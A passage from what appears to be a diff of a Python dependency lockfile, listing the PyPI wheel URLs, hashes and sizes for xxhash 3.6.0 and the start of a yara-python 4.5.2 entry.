"https://files.pythonhosted.org/packages/1e/c2/ff69efd07c8c074ccdf0a4f36fcdd3d27363665bcdf4ba399abebe643465/xxhash-3.6.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:6fb5f5476bef678f69db04f2bd1efbed3030d2aba305b0fc1773645f187d6a4e", size = 197898, upload-time = "2025-10-02T14:34:46.302Z" }, + { url = "https://files.pythonhosted.org/packages/58/ca/faa05ac19b3b622c7c9317ac3e23954187516298a091eb02c976d0d3dd45/xxhash-3.6.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:843b52f6d88071f87eba1631b684fcb4b2068cd2180a0224122fe4ef011a9374", size = 210655, upload-time = "2025-10-02T14:34:47.571Z" }, + { url = "https://files.pythonhosted.org/packages/d4/7a/06aa7482345480cc0cb597f5c875b11a82c3953f534394f620b0be2f700c/xxhash-3.6.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:7d14a6cfaf03b1b6f5f9790f76880601ccc7896aff7ab9cd8978a939c1eb7e0d", size = 414001, upload-time = "2025-10-02T14:34:49.273Z" }, + { url = "https://files.pythonhosted.org/packages/23/07/63ffb386cd47029aa2916b3d2f454e6cc5b9f5c5ada3790377d5430084e7/xxhash-3.6.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:418daf3db71e1413cfe211c2f9a528456936645c17f46b5204705581a45390ae", size = 191431, upload-time = "2025-10-02T14:34:50.798Z" }, + { url = "https://files.pythonhosted.org/packages/0f/93/14fde614cadb4ddf5e7cebf8918b7e8fac5ae7861c1875964f17e678205c/xxhash-3.6.0-cp312-cp312-win32.whl", hash = "sha256:50fc255f39428a27299c20e280d6193d8b63b8ef8028995323bf834a026b4fbb", size = 30617, upload-time = "2025-10-02T14:34:51.954Z" }, + { url = "https://files.pythonhosted.org/packages/13/5d/0d125536cbe7565a83d06e43783389ecae0c0f2ed037b48ede185de477c0/xxhash-3.6.0-cp312-cp312-win_amd64.whl", hash = "sha256:c0f2ab8c715630565ab8991b536ecded9416d615538be8ecddce43ccf26cbc7c", size = 31534, upload-time = "2025-10-02T14:34:53.276Z" }, + { url = "https://files.pythonhosted.org/packages/54/85/6ec269b0952ec7e36ba019125982cf11d91256a778c7c3f98a4c5043d283/xxhash-3.6.0-cp312-cp312-win_arm64.whl", hash = "sha256:eae5c13f3bc455a3bbb68bdc513912dc7356de7e2280363ea235f71f54064829", size = 27876, upload-time = "2025-10-02T14:34:54.371Z" }, + { url = "https://files.pythonhosted.org/packages/33/76/35d05267ac82f53ae9b0e554da7c5e281ee61f3cad44c743f0fcd354f211/xxhash-3.6.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:599e64ba7f67472481ceb6ee80fa3bd828fd61ba59fb11475572cc5ee52b89ec", size = 32738, upload-time = "2025-10-02T14:34:55.839Z" }, + { url = "https://files.pythonhosted.org/packages/31/a8/3fbce1cd96534a95e35d5120637bf29b0d7f5d8fa2f6374e31b4156dd419/xxhash-3.6.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:7d8b8aaa30fca4f16f0c84a5c8d7ddee0e25250ec2796c973775373257dde8f1", size = 30821, upload-time = "2025-10-02T14:34:57.219Z" }, + { url = "https://files.pythonhosted.org/packages/0c/ea/d387530ca7ecfa183cb358027f1833297c6ac6098223fd14f9782cd0015c/xxhash-3.6.0-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:d597acf8506d6e7101a4a44a5e428977a51c0fadbbfd3c39650cca9253f6e5a6", size = 194127, upload-time = "2025-10-02T14:34:59.21Z" }, + { url = "https://files.pythonhosted.org/packages/ba/0c/71435dcb99874b09a43b8d7c54071e600a7481e42b3e3ce1eb5226a5711a/xxhash-3.6.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:858dc935963a33bc33490128edc1c12b0c14d9c7ebaa4e387a7869ecc4f3e263", size = 212975, upload-time = "2025-10-02T14:35:00.816Z" }, + { url = "https://files.pythonhosted.org/packages/84/7a/c2b3d071e4bb4a90b7057228a99b10d51744878f4a8a6dd643c8bd897620/xxhash-3.6.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ba284920194615cb8edf73bf52236ce2e1664ccd4a38fdb543506413529cc546", size = 212241, upload-time = "2025-10-02T14:35:02.207Z" }, + { url = "https://files.pythonhosted.org/packages/81/5f/640b6eac0128e215f177df99eadcd0f1b7c42c274ab6a394a05059694c5a/xxhash-3.6.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4b54219177f6c6674d5378bd862c6aedf64725f70dd29c472eaae154df1a2e89", size = 445471, upload-time = "2025-10-02T14:35:03.61Z" }, + { url = "https://files.pythonhosted.org/packages/5e/1e/3c3d3ef071b051cc3abbe3721ffb8365033a172613c04af2da89d5548a87/xxhash-3.6.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:42c36dd7dbad2f5238950c377fcbf6811b1cdb1c444fab447960030cea60504d", size = 193936, upload-time = "2025-10-02T14:35:05.013Z" }, + { url = "https://files.pythonhosted.org/packages/2c/bd/4a5f68381939219abfe1c22a9e3a5854a4f6f6f3c4983a87d255f21f2e5d/xxhash-3.6.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f22927652cba98c44639ffdc7aaf35828dccf679b10b31c4ad72a5b530a18eb7", size = 210440, upload-time = "2025-10-02T14:35:06.239Z" }, + { url = "https://files.pythonhosted.org/packages/eb/37/b80fe3d5cfb9faff01a02121a0f4d565eb7237e9e5fc66e73017e74dcd36/xxhash-3.6.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:b45fad44d9c5c119e9c6fbf2e1c656a46dc68e280275007bbfd3d572b21426db", size = 197990, upload-time = "2025-10-02T14:35:07.735Z" }, + { url = "https://files.pythonhosted.org/packages/d7/fd/2c0a00c97b9e18f72e1f240ad4e8f8a90fd9d408289ba9c7c495ed7dc05c/xxhash-3.6.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:6f2580ffab1a8b68ef2b901cde7e55fa8da5e4be0977c68f78fc80f3c143de42", size = 210689, upload-time = "2025-10-02T14:35:09.438Z" }, + { url = "https://files.pythonhosted.org/packages/93/86/5dd8076a926b9a95db3206aba20d89a7fc14dd5aac16e5c4de4b56033140/xxhash-3.6.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:40c391dd3cd041ebc3ffe6f2c862f402e306eb571422e0aa918d8070ba31da11", size = 414068, upload-time = "2025-10-02T14:35:11.162Z" }, + { url = "https://files.pythonhosted.org/packages/af/3c/0bb129170ee8f3650f08e993baee550a09593462a5cddd8e44d0011102b1/xxhash-3.6.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:f205badabde7aafd1a31e8ca2a3e5a763107a71c397c4481d6a804eb5063d8bd", size = 191495, upload-time = "2025-10-02T14:35:12.971Z" }, + { url = "https://files.pythonhosted.org/packages/e9/3a/6797e0114c21d1725e2577508e24006fd7ff1d8c0c502d3b52e45c1771d8/xxhash-3.6.0-cp313-cp313-win32.whl", hash = "sha256:2577b276e060b73b73a53042ea5bd5203d3e6347ce0d09f98500f418a9fcf799", size = 30620, upload-time = "2025-10-02T14:35:14.129Z" }, + { url = "https://files.pythonhosted.org/packages/86/15/9bc32671e9a38b413a76d24722a2bf8784a132c043063a8f5152d390b0f9/xxhash-3.6.0-cp313-cp313-win_amd64.whl", hash = "sha256:757320d45d2fbcce8f30c42a6b2f47862967aea7bf458b9625b4bbe7ee390392", size = 31542, upload-time = "2025-10-02T14:35:15.21Z" }, + { url = "https://files.pythonhosted.org/packages/39/c5/cc01e4f6188656e56112d6a8e0dfe298a16934b8c47a247236549a3f7695/xxhash-3.6.0-cp313-cp313-win_arm64.whl", hash = "sha256:457b8f85dec5825eed7b69c11ae86834a018b8e3df5e77783c999663da2f96d6", size = 27880, upload-time = "2025-10-02T14:35:16.315Z" }, + { url = "https://files.pythonhosted.org/packages/f3/30/25e5321c8732759e930c555176d37e24ab84365482d257c3b16362235212/xxhash-3.6.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:a42e633d75cdad6d625434e3468126c73f13f7584545a9cf34e883aa1710e702", size = 32956, upload-time = "2025-10-02T14:35:17.413Z" }, + { url = "https://files.pythonhosted.org/packages/9f/3c/0573299560d7d9f8ab1838f1efc021a280b5ae5ae2e849034ef3dee18810/xxhash-3.6.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:568a6d743219e717b07b4e03b0a828ce593833e498c3b64752e0f5df6bfe84db", size = 31072, upload-time = "2025-10-02T14:35:18.844Z" }, + { url = "https://files.pythonhosted.org/packages/7a/1c/52d83a06e417cd9d4137722693424885cc9878249beb3a7c829e74bf7ce9/xxhash-3.6.0-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:bec91b562d8012dae276af8025a55811b875baace6af510412a5e58e3121bc54", size = 196409, upload-time = "2025-10-02T14:35:20.31Z" }, + { url = "https://files.pythonhosted.org/packages/e3/8e/c6d158d12a79bbd0b878f8355432075fc82759e356ab5a111463422a239b/xxhash-3.6.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:78e7f2f4c521c30ad5e786fdd6bae89d47a32672a80195467b5de0480aa97b1f", size = 215736, upload-time = "2025-10-02T14:35:21.616Z" }, + { url = "https://files.pythonhosted.org/packages/bc/68/c4c80614716345d55071a396cf03d06e34b5f4917a467faf43083c995155/xxhash-3.6.0-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:3ed0df1b11a79856df5ffcab572cbd6b9627034c1c748c5566fa79df9048a7c5", size = 214833, upload-time = "2025-10-02T14:35:23.32Z" }, + { url = "https://files.pythonhosted.org/packages/7e/e9/ae27c8ffec8b953efa84c7c4a6c6802c263d587b9fc0d6e7cea64e08c3af/xxhash-3.6.0-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0e4edbfc7d420925b0dd5e792478ed393d6e75ff8fc219a6546fb446b6a417b1", size = 448348, upload-time = "2025-10-02T14:35:25.111Z" }, + { url = "https://files.pythonhosted.org/packages/d7/6b/33e21afb1b5b3f46b74b6bd1913639066af218d704cc0941404ca717fc57/xxhash-3.6.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fba27a198363a7ef87f8c0f6b171ec36b674fe9053742c58dd7e3201c1ab30ee", size = 196070, upload-time = "2025-10-02T14:35:26.586Z" }, + { url = "https://files.pythonhosted.org/packages/96/b6/fcabd337bc5fa624e7203aa0fa7d0c49eed22f72e93229431752bddc83d9/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:794fe9145fe60191c6532fa95063765529770edcdd67b3d537793e8004cabbfd", size = 212907, upload-time = "2025-10-02T14:35:28.087Z" }, + { url = "https://files.pythonhosted.org/packages/4b/d3/9ee6160e644d660fcf176c5825e61411c7f62648728f69c79ba237250143/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:6105ef7e62b5ac73a837778efc331a591d8442f8ef5c7e102376506cb4ae2729", size = 200839, upload-time = "2025-10-02T14:35:29.857Z" }, + { url = "https://files.pythonhosted.org/packages/0d/98/e8de5baa5109394baf5118f5e72ab21a86387c4f89b0e77ef3e2f6b0327b/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:f01375c0e55395b814a679b3eea205db7919ac2af213f4a6682e01220e5fe292", size = 213304, upload-time = "2025-10-02T14:35:31.222Z" }, + { url = "https://files.pythonhosted.org/packages/7b/1d/71056535dec5c3177eeb53e38e3d367dd1d16e024e63b1cee208d572a033/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:d706dca2d24d834a4661619dcacf51a75c16d65985718d6a7d73c1eeeb903ddf", size = 416930, upload-time = "2025-10-02T14:35:32.517Z" }, + { url = "https://files.pythonhosted.org/packages/dc/6c/5cbde9de2cd967c322e651c65c543700b19e7ae3e0aae8ece3469bf9683d/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:5f059d9faeacd49c0215d66f4056e1326c80503f51a1532ca336a385edadd033", size = 193787, upload-time = "2025-10-02T14:35:33.827Z" }, + { url = "https://files.pythonhosted.org/packages/19/fa/0172e350361d61febcea941b0cc541d6e6c8d65d153e85f850a7b256ff8a/xxhash-3.6.0-cp313-cp313t-win32.whl", hash = "sha256:1244460adc3a9be84731d72b8e80625788e5815b68da3da8b83f78115a40a7ec", size = 30916, upload-time = "2025-10-02T14:35:35.107Z" }, + { url = "https://files.pythonhosted.org/packages/ad/e6/e8cf858a2b19d6d45820f072eff1bea413910592ff17157cabc5f1227a16/xxhash-3.6.0-cp313-cp313t-win_amd64.whl", hash = "sha256:b1e420ef35c503869c4064f4a2f2b08ad6431ab7b229a05cce39d74268bca6b8", size = 31799, upload-time = "2025-10-02T14:35:36.165Z" }, + { url = "https://files.pythonhosted.org/packages/56/15/064b197e855bfb7b343210e82490ae672f8bc7cdf3ddb02e92f64304ee8a/xxhash-3.6.0-cp313-cp313t-win_arm64.whl", hash = "sha256:ec44b73a4220623235f67a996c862049f375df3b1052d9899f40a6382c32d746", size = 28044, upload-time = "2025-10-02T14:35:37.195Z" }, + { url = "https://files.pythonhosted.org/packages/7e/5e/0138bc4484ea9b897864d59fce9be9086030825bc778b76cb5a33a906d37/xxhash-3.6.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:a40a3d35b204b7cc7643cbcf8c9976d818cb47befcfac8bbefec8038ac363f3e", size = 32754, upload-time = "2025-10-02T14:35:38.245Z" }, + { url = "https://files.pythonhosted.org/packages/18/d7/5dac2eb2ec75fd771957a13e5dda560efb2176d5203f39502a5fc571f899/xxhash-3.6.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a54844be970d3fc22630b32d515e79a90d0a3ddb2644d8d7402e3c4c8da61405", size = 30846, upload-time = "2025-10-02T14:35:39.6Z" }, + { url = "https://files.pythonhosted.org/packages/fe/71/8bc5be2bb00deb5682e92e8da955ebe5fa982da13a69da5a40a4c8db12fb/xxhash-3.6.0-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:016e9190af8f0a4e3741343777710e3d5717427f175adfdc3e72508f59e2a7f3", size = 194343, upload-time = "2025-10-02T14:35:40.69Z" }, + { url = "https://files.pythonhosted.org/packages/e7/3b/52badfb2aecec2c377ddf1ae75f55db3ba2d321c5e164f14461c90837ef3/xxhash-3.6.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4f6f72232f849eb9d0141e2ebe2677ece15adfd0fa599bc058aad83c714bb2c6", size = 213074, upload-time = "2025-10-02T14:35:42.29Z" }, + { url = "https://files.pythonhosted.org/packages/a2/2b/ae46b4e9b92e537fa30d03dbc19cdae57ed407e9c26d163895e968e3de85/xxhash-3.6.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:63275a8aba7865e44b1813d2177e0f5ea7eadad3dd063a21f7cf9afdc7054063", size = 212388, upload-time = "2025-10-02T14:35:43.929Z" }, + { url = "https://files.pythonhosted.org/packages/f5/80/49f88d3afc724b4ac7fbd664c8452d6db51b49915be48c6982659e0e7942/xxhash-3.6.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3cd01fa2aa00d8b017c97eb46b9a794fbdca53fc14f845f5a328c71254b0abb7", size = 445614, upload-time = "2025-10-02T14:35:45.216Z" }, + { url = "https://files.pythonhosted.org/packages/ed/ba/603ce3961e339413543d8cd44f21f2c80e2a7c5cfe692a7b1f2cccf58f3c/xxhash-3.6.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0226aa89035b62b6a86d3c68df4d7c1f47a342b8683da2b60cedcddb46c4d95b", size = 194024, upload-time = "2025-10-02T14:35:46.959Z" }, + { url = "https://files.pythonhosted.org/packages/78/d1/8e225ff7113bf81545cfdcd79eef124a7b7064a0bba53605ff39590b95c2/xxhash-3.6.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c6e193e9f56e4ca4923c61238cdaced324f0feac782544eb4c6d55ad5cc99ddd", size = 210541, upload-time = "2025-10-02T14:35:48.301Z" }, + { url = "https://files.pythonhosted.org/packages/6f/58/0f89d149f0bad89def1a8dd38feb50ccdeb643d9797ec84707091d4cb494/xxhash-3.6.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:9176dcaddf4ca963d4deb93866d739a343c01c969231dbe21680e13a5d1a5bf0", size = 198305, upload-time = "2025-10-02T14:35:49.584Z" }, + { url = "https://files.pythonhosted.org/packages/11/38/5eab81580703c4df93feb5f32ff8fa7fe1e2c51c1f183ee4e48d4bb9d3d7/xxhash-3.6.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:c1ce4009c97a752e682b897aa99aef84191077a9433eb237774689f14f8ec152", size = 210848, upload-time = "2025-10-02T14:35:50.877Z" }, + { url = "https://files.pythonhosted.org/packages/5e/6b/953dc4b05c3ce678abca756416e4c130d2382f877a9c30a20d08ee6a77c0/xxhash-3.6.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:8cb2f4f679b01513b7adbb9b1b2f0f9cdc31b70007eaf9d59d0878809f385b11", size = 414142, upload-time = "2025-10-02T14:35:52.15Z" }, + { url = "https://files.pythonhosted.org/packages/08/a9/238ec0d4e81a10eb5026d4a6972677cbc898ba6c8b9dbaec12ae001b1b35/xxhash-3.6.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:653a91d7c2ab54a92c19ccf43508b6a555440b9be1bc8be553376778be7f20b5", size = 191547, upload-time = "2025-10-02T14:35:53.547Z" }, + { url = "https://files.pythonhosted.org/packages/f1/ee/3cf8589e06c2164ac77c3bf0aa127012801128f1feebf2a079272da5737c/xxhash-3.6.0-cp314-cp314-win32.whl", hash = "sha256:a756fe893389483ee8c394d06b5ab765d96e68fbbfe6fde7aa17e11f5720559f", size = 31214, upload-time = "2025-10-02T14:35:54.746Z" }, + { url = "https://files.pythonhosted.org/packages/02/5d/a19552fbc6ad4cb54ff953c3908bbc095f4a921bc569433d791f755186f1/xxhash-3.6.0-cp314-cp314-win_amd64.whl", hash = "sha256:39be8e4e142550ef69629c9cd71b88c90e9a5db703fecbcf265546d9536ca4ad", size = 32290, upload-time = "2025-10-02T14:35:55.791Z" }, + { url = "https://files.pythonhosted.org/packages/b1/11/dafa0643bc30442c887b55baf8e73353a344ee89c1901b5a5c54a6c17d39/xxhash-3.6.0-cp314-cp314-win_arm64.whl", hash = "sha256:25915e6000338999236f1eb68a02a32c3275ac338628a7eaa5a269c401995679", size = 28795, upload-time = "2025-10-02T14:35:57.162Z" }, + { url = "https://files.pythonhosted.org/packages/2c/db/0e99732ed7f64182aef4a6fb145e1a295558deec2a746265dcdec12d191e/xxhash-3.6.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:c5294f596a9017ca5a3e3f8884c00b91ab2ad2933cf288f4923c3fd4346cf3d4", size = 32955, upload-time = "2025-10-02T14:35:58.267Z" }, + { url = "https://files.pythonhosted.org/packages/55/f4/2a7c3c68e564a099becfa44bb3d398810cc0ff6749b0d3cb8ccb93f23c14/xxhash-3.6.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1cf9dcc4ab9cff01dfbba78544297a3a01dafd60f3bde4e2bfd016cf7e4ddc67", size = 31072, upload-time = "2025-10-02T14:35:59.382Z" }, + { url = "https://files.pythonhosted.org/packages/c6/d9/72a29cddc7250e8a5819dad5d466facb5dc4c802ce120645630149127e73/xxhash-3.6.0-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:01262da8798422d0685f7cef03b2bd3f4f46511b02830861df548d7def4402ad", size = 196579, upload-time = "2025-10-02T14:36:00.838Z" }, + { url = "https://files.pythonhosted.org/packages/63/93/b21590e1e381040e2ca305a884d89e1c345b347404f7780f07f2cdd47ef4/xxhash-3.6.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:51a73fb7cb3a3ead9f7a8b583ffd9b8038e277cdb8cb87cf890e88b3456afa0b", size = 215854, upload-time = "2025-10-02T14:36:02.207Z" }, + { url = "https://files.pythonhosted.org/packages/ce/b8/edab8a7d4fa14e924b29be877d54155dcbd8b80be85ea00d2be3413a9ed4/xxhash-3.6.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b9c6df83594f7df8f7f708ce5ebeacfc69f72c9fbaaababf6cf4758eaada0c9b", size = 214965, upload-time = "2025-10-02T14:36:03.507Z" }, + { url = "https://files.pythonhosted.org/packages/27/67/dfa980ac7f0d509d54ea0d5a486d2bb4b80c3f1bb22b66e6a05d3efaf6c0/xxhash-3.6.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:627f0af069b0ea56f312fd5189001c24578868643203bca1abbc2c52d3a6f3ca", size = 448484, upload-time = "2025-10-02T14:36:04.828Z" }, + { url = "https://files.pythonhosted.org/packages/8c/63/8ffc2cc97e811c0ca5d00ab36604b3ea6f4254f20b7bc658ca825ce6c954/xxhash-3.6.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:aa912c62f842dfd013c5f21a642c9c10cd9f4c4e943e0af83618b4a404d9091a", size = 196162, upload-time = "2025-10-02T14:36:06.182Z" }, + { url = "https://files.pythonhosted.org/packages/4b/77/07f0e7a3edd11a6097e990f6e5b815b6592459cb16dae990d967693e6ea9/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:b465afd7909db30168ab62afe40b2fcf79eedc0b89a6c0ab3123515dc0df8b99", size = 213007, upload-time = "2025-10-02T14:36:07.733Z" }, + { url = "https://files.pythonhosted.org/packages/ae/d8/bc5fa0d152837117eb0bef6f83f956c509332ce133c91c63ce07ee7c4873/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:a881851cf38b0a70e7c4d3ce81fc7afd86fbc2a024f4cfb2a97cf49ce04b75d3", size = 200956, upload-time = "2025-10-02T14:36:09.106Z" }, + { url = "https://files.pythonhosted.org/packages/26/a5/d749334130de9411783873e9b98ecc46688dad5db64ca6e04b02acc8b473/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:9b3222c686a919a0f3253cfc12bb118b8b103506612253b5baeaac10d8027cf6", size = 213401, upload-time = "2025-10-02T14:36:10.585Z" }, + { url = "https://files.pythonhosted.org/packages/89/72/abed959c956a4bfc72b58c0384bb7940663c678127538634d896b1195c10/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:c5aa639bc113e9286137cec8fadc20e9cd732b2cc385c0b7fa673b84fc1f2a93", size = 417083, upload-time = "2025-10-02T14:36:12.276Z" }, + { url = "https://files.pythonhosted.org/packages/0c/b3/62fd2b586283b7d7d665fb98e266decadf31f058f1cf6c478741f68af0cb/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5c1343d49ac102799905e115aee590183c3921d475356cb24b4de29a4bc56518", size = 193913, upload-time = "2025-10-02T14:36:14.025Z" }, + { url = "https://files.pythonhosted.org/packages/9a/9a/c19c42c5b3f5a4aad748a6d5b4f23df3bed7ee5445accc65a0fb3ff03953/xxhash-3.6.0-cp314-cp314t-win32.whl", hash = "sha256:5851f033c3030dd95c086b4a36a2683c2ff4a799b23af60977188b057e467119", size = 31586, upload-time = "2025-10-02T14:36:15.603Z" }, + { url = "https://files.pythonhosted.org/packages/03/d6/4cc450345be9924fd5dc8c590ceda1db5b43a0a889587b0ae81a95511360/xxhash-3.6.0-cp314-cp314t-win_amd64.whl", hash = "sha256:0444e7967dac37569052d2409b00a8860c2135cff05502df4da80267d384849f", size = 32526, upload-time = "2025-10-02T14:36:16.708Z" }, + { url = "https://files.pythonhosted.org/packages/0f/c9/7243eb3f9eaabd1a88a5a5acadf06df2d83b100c62684b7425c6a11bcaa8/xxhash-3.6.0-cp314-cp314t-win_arm64.whl", hash = "sha256:bb79b1e63f6fd84ec778a4b1916dfe0a7c3fdb986c06addd5db3a0d413819d95", size = 28898, upload-time = "2025-10-02T14:36:17.843Z" }, + { url = "https://files.pythonhosted.org/packages/93/1e/8aec23647a34a249f62e2398c42955acd9b4c6ed5cf08cbea94dc46f78d2/xxhash-3.6.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:0f7b7e2ec26c1666ad5fc9dbfa426a6a3367ceaf79db5dd76264659d509d73b0", size = 30662, upload-time = "2025-10-02T14:37:01.743Z" }, + { url = "https://files.pythonhosted.org/packages/b8/0b/b14510b38ba91caf43006209db846a696ceea6a847a0c9ba0a5b1adc53d6/xxhash-3.6.0-pp311-pypy311_pp73-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:5dc1e14d14fa0f5789ec29a7062004b5933964bb9b02aae6622b8f530dc40296", size = 41056, upload-time = "2025-10-02T14:37:02.879Z" }, + { url = "https://files.pythonhosted.org/packages/50/55/15a7b8a56590e66ccd374bbfa3f9ffc45b810886c8c3b614e3f90bd2367c/xxhash-3.6.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:881b47fc47e051b37d94d13e7455131054b56749b91b508b0907eb07900d1c13", size = 36251, upload-time = "2025-10-02T14:37:04.44Z" }, + { url = "https://files.pythonhosted.org/packages/62/b2/5ac99a041a29e58e95f907876b04f7067a0242cb85b5f39e726153981503/xxhash-3.6.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c6dc31591899f5e5666f04cc2e529e69b4072827085c1ef15294d91a004bc1bd", size = 32481, upload-time = "2025-10-02T14:37:05.869Z" }, + { url = "https://files.pythonhosted.org/packages/7b/d9/8d95e906764a386a3d3b596f3c68bb63687dfca806373509f51ce8eea81f/xxhash-3.6.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:15e0dac10eb9309508bfc41f7f9deaa7755c69e35af835db9cb10751adebc35d", size = 31565, upload-time = "2025-10-02T14:37:06.966Z" }, +] + +[[package]] +name = "yara-python" +version = "4.5.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f0/12/73703b53de2d3aa1ead055d793035739031793c32c6b20aa2f252d4eb946/yara_python-4.5.2.tar.gz", hash = "sha256:9086a53c810c58740a5129f14d126b39b7ef61af00d91580c2efb654e2f742ce", size = 550836, upload-time = "2025-05-02T11:17:48.851Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/86/77/8576d9ad375d396aabd87cf2510d3696440d830908114489a1e72df0e8f9/yara_python-4.5.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:20aee068c8f14e8ebb40ebf03e7e2c14031736fbf6f32fca58ad89d211e4aaa0", size = 402000, upload-time = "2025-05-02T11:16:28.228Z" }, + { url = "https://files.pythonhosted.org/packages/cf/ca/9696ebaa5b345aa1d670b848af36889f01bea79520598e09d2c62c5e19ad/yara_python-4.5.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:9899c3a80e6c543585daf49c5b06ba5987e2f387994a5455d841262ea6e8577c", size = 208581, upload-time = "2025-05-02T11:16:30.205Z" }, + { url = "https://files.pythonhosted.org/packages/07/08/e3e6c3641b5713a6d9628ed654ee1b69e215bafc2e91b9ce9dc24a7a5215/yara_python-4.5.2-cp310-cp310-macosx_14_0_arm64.whl", hash = "sha256:399bb09f81d38876a06e269f68bbe810349aa0bb47fe79866ea3fc58ce38d30f", size = 2471737, upload-time = "2025-05-27T12:41:53.176Z" }, + { url = "https://files.pythonhosted.org/packages/7c/19/140dc9e0ea3b27b00a239a7bd4c839342da9b5326551f2b0607526aca841/yara_python-4.5.2-cp310-cp310-macosx_14_0_x86_64.whl", hash = "sha256:c78608c6bf3d2c379514b1c118a104874df1844bf818087e1bf6bfec0edfd1aa", size = 208855, upload-time = "2025-05-27T12:41:55.015Z" }, + { url = "https://files.pythonhosted.org/packages/45/a9/88997ec3d6831d436e4439be4197cd70c764b9fbaf1ef904a2dba870c920/yara_python-4.5.2-cp310-cp310-macosx_15_0_arm64.whl", hash = "sha256:f25db30f8ae88a4355e5090a5d6191ee6f2abfdd529b3babc68a1faeba7c2ac8", size = 2478386, upload-time = "2025-05-27T12:41:56.691Z" }, + { url = "https://files.pythonhosted.org/packages/6e/15/f6e79e3b70bff4c11e13dfe833f6e28bdd4b3674b51e05008821182918e5/yara_python-4.5.2-cp310-cp310-macosx_15_0_x86_64.whl", hash = "sha256:f2866c0b8404086c5acb68cab20854d439009a1b02077aca22913b96138d2f6a", size = 209299, upload-time 